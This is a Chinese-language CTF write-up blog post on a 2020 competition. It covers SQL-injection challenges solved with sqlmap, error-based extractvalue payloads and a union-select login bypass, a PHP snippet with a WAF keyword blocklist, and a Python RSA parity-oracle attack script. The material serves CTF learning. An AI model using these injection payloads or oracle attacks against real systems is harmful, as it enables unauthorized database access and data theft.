XiaBee's Studio.

职业杯 2020 选拔赛回顾 & Write UP

字数统计: 2.3k阅读时长: 10 min
2020/11/07

简介

队伍名称 北理工的恶龙
答对题数 4
最终得分 1738.1
最终排名 18

img

这波是 WEB 和二进制一起白给(x),然后被唐老板带飞

看到两道sql注入题的时候,我的第一反应是: “这一血我稳了” ,然后把题目看错了拖了两个小时…… 不过还好把WEB签到给他签上了(我好白给啊)

回顾一下比赛过程.jpg

WEB

就做了两个签到题…

easy sql

img

这一看就是签到题啊,直接上sqlmap一把梭:

1
sqlmap -u "http://124.71.148.26:30022/" --form

有时间盲注,那就先梭着:

img

然后直接爆表爆列爆字段:

1
2
sqlmap -u "http://124.71.148.26:30022/" --form -D security --tables
sqlmap -u "http://124.71.148.26:30022/" --form -D security -T flag --columns

img

就在这里,我爆不下去了……爆不出列名,爆不出字段,然后时间盲注注出来全是空表假表:

img

后面猜测应该是网络不稳定,导致每次的回显时间波动极大,造成了时间盲注的误判……当然也可能是主办方设置了障碍(x) 这个时候本来应该手写脚本时间盲注的,然后张大佬curl了一下发现这玩意居然有报错回显???

1
curl http://124.71.148.26:30022/ -X POST -d "uname=123'&passwd="

img

居然写进了font里面,够狠

直接报错注入一把梭:(前面已经查到flag表了,这里直接爆字段就好)

1
curl http://124.71.148.26:30022/ -X POST -d "uname=admin' and extractvalue(1, concat(0x7e, (select * from flag limit 1)))--&passwd='(123"

img

flag太长显示不全,截断之后看后半段:

1
curl http://124.71.148.26:30022/ -X POST -d "uname=admin' and extractvalue(1, concat(0x7e, (right((select * from flag limit 1),20))))--&passwd='(123"

img

综合一下,payload分两段,注意括号引号闭合即可:

1
2
3
4
5
6
7
8
9
10
11
12
## http://124.71.148.26:30022/

uname=admin' and extractvalue(1, concat(0x7e, (select * from flag limit 1)))--
&passwd='(123
# 第一段爆出前半段flag
#
## http://124.71.148.26:30022/
uname=admin' and extractvalue(1, concat(0x7e, (
right((select * from flag limit 1),20)
)))--
&passwd='(123
# 第二段爆后半段

easysqli

题面:

img

带验证码的注入

一看标题就知道,这在暗示我注入(划掉)

盲猜一波验证码不失效漏洞,直接打开BP开始爆破……然后发现除了第一个是正常回显,其他都是“验证码错误”……Fine,这个验证单次有效,验证码破不了,真就防暴力了

img

暴力破不了,就看看看hint:点击 hint 看到了部分源代码:

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
//a "part" of the source code here

function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}

if (isset($_POST['username']) && isset($_POST['password'])) {

if (!isset($_SESSION['VerifyCode']))
die("?");

$username = strval($_POST['username']);
$password = strval($_POST['password']);

if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php");

$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
// password format: /[A-Za-z0-9]/
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['password'] )
{
if ($row['password'] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?";
}
} else {
$message = "wrong user";
}
} else {
$message = "user not exist or wrong password";
}
}

?>

代码审计一波:

  • sqlwaf 只对 password 做了检测,对 username 没做限制??? 那不就对着 username一顿梭
  • 再看第 28 行和 30 行,意思是匹配到用户名为 admin 并且密码为对应密码的数据时,输出 flag,而且在 password这里做的是弱比较

img

WEB狗第一反应当然是弱比较啊!!直接冲payload,然后发现这个password好像有点复杂,弱比较也比不上…… 再往看看别的:

img

第26、27行,后端只要检测到了数据就往下执行…… 这个要慌,问题挺大的

然后就利用这个,加上一点 SQL 的奇技淫巧:union select 一个元组出来,放到首行,那这个检测到的 password 就是我们自己设置的表外值了

本地测试:

img

直接查询表外值 这里我们 select了一个不存在的用户,检测结果自然只剩下我们 union select 中的内容

所以最终payload:

1
2
username: a' union select 1,'admin','123'#
password: 123

签到题浪费太多时间了,导致后面的题直接白给x(我好菜啊)

Crypto

张大佬被二进制搞自闭了,直接加入唐老板开冲密码学……

img

一个一血一个二血,唐老板NB!张大佬NB!

WEB弟弟落泪,什么时候才能像唐老板一样强啊QAQ

以下内容为唐老板亲笔 WP:

circuit3

题目要求我们设计一套逻辑电路满足一系列测试。

我们观察到两个输入都是256位,输出位32位,要求在输入向量相同的时候输出100000….不同时输出11111111….,并且需要有一个后门,在b向量为某个值的时候输出1000000….,并且只给了3个逻辑运算,AND,XOR和INV。

我们可以这样设计,后门简单的让b的每一位AND起来,那么只有在b为\xff * 32时最后的结果才为1,如果要判断两个向量相同,可以将a和b的每一位进行异或,取反再AND起来。最后需要在后门条件达成或者向量相同是输出100000…..,因为没有或,所以需要用与和取反表示或,在此不在赘述。 然后再考虑wire表的含义,根据题目中的含义和我们需要的临时变量我们定义下面的wire表:

1
2
3
4
5
6
wire[0-255] inputA
wire[256-511] input B
wire[512] 后门检查结果
wire[513] XOR结果临时储存
wire[514] 向量相同检查结果
wire[515-547] 输出结果

我们首选要对wire[512]和wire[514]的结果取反为1,用下面代码生成电路描述文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
content = '''a 547
256 256 32
{1}
a 512 512 INV
a 514 514 INV
a 515 515 INV
'''
for i in range(256, 256+128):
content += 'a {} 512 512 AND\n'.format(i)
# b backdoor
for i in range(128):
content += 'a {} {} 513 XOR\na 513 513 INV\na 513 514 514 AND\n'.format(i, i+256)
# # a b same
content += '''a 512 512 INV
a 514 514 INV
a 512 514 513 AND
'''
for i in range(516, 547):
# content += 'a {} 513 INV\n'.format(i)
content += 'a 512 514 {} AND\n'.format(i)
print(len(content))
with open('res', 'w') as f:
f.write(content)

最后生成文件的大小有 19k,通过 socket 上传一半会断开,故对输入变量只检查前半部分,成功将文件大小缩减到 9k

crypto_lp

密码学签到题,首先可见它生成了两个 RSA 秘钥,用第一个加密了随机的 secret,第二个加密了flag。

题目提供了第一个 RSA 的解密机,但是不能解密 secret,但是我们可以尝试解密 2*secret

有: 所以我们计算 2ec mod n后进行解密,得到 2m mod n,如果 2m < n 那么结果为偶数,直接除 2 得到 secret,反之加 n 除 2 后得到结果。 第二层需要提供正确的 secret,提供一个解密机但是只提供最后一位,直接使用 Parity Oracle 算出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from Crypto.Util import number
from nclib import Netcat
import gmpy2

e = 0x10001
io = Netcat(('119.3.152.203', 7001), verbose=False)
io.recv_until(b'llp\n')
n = int(io.recv_until(b'\n')[:-1])
nn = int(io.recv_until(b'\n')[:-1])
enc_flag = int(io.recv_until(b'\n')[:-1])

while True:
io.recv_until(b'>')
io.send_line(b'l')
enc_sec = int(io.recv_until(b'\n')[:-1])
payload = pow(2, e, n) * enc_sec % n
io.recv_until(b'>')
io.send_line(b'p')
io.send_line(str(payload).encode())
sec_2 = int(io.recv_until(b'\n')[:-1])
if sec_2 % 2 == 0:
sec = sec_2 // 2
print('get sec: ', sec)
break
io.recv_until(b'>')
io.send_line(b'u')


# io.send_line(str(sec).encode())

def parity_oracle(n, query):
"""input: n: the modulus of the RSA
query: query is a function which inputs an int i, returns if the m*(2^i)%n is odd
return: int m
"""
i = 0
x = 0
while n >> i:
res = query(i+1)
if res:
x = 2 * x + 1
else:
x = 2 * x
i += 1
print(i, x)
return (x+1) * n // 2 ** i

def q(i):
new_c = enc_flag * pow(2, i * e, nn) % nn
io.recv_until(b'>')
io.send_line(b'o')
io.send_line(str(sec).encode())
io.send_line(str(new_c).encode())
return int(io.recv_until(b'\n')[:-1].decode())

res = parity_oracle(nn, q)
print(res)

io.interact()

唐老板tql,唐老板ddw

小结

总的来说这次比赛感觉打的还不错,居然挤进了前20……甚至还抢到了一血二血

WEB太久没遇到签到了,难得一次签到题居然想偏了做了半天……(我这就爬)

WEB还是得多练,原型链污染得多看看x,密码学也得加强一下(咕咕咕警告x)

然后MISC真就没人做了吗……srds我感觉现在的MISC确实十分不友好

img

MISC居然没人做,嘤?

CATALOG
  1. 1. 简介
  2. 2. WEB
    1. 2.1. easy sql
    2. 2.2. easysqli
  3. 3. Crypto
    1. 3.1. circuit3
    2. 3.2. crypto_lp
  4. 4. 小结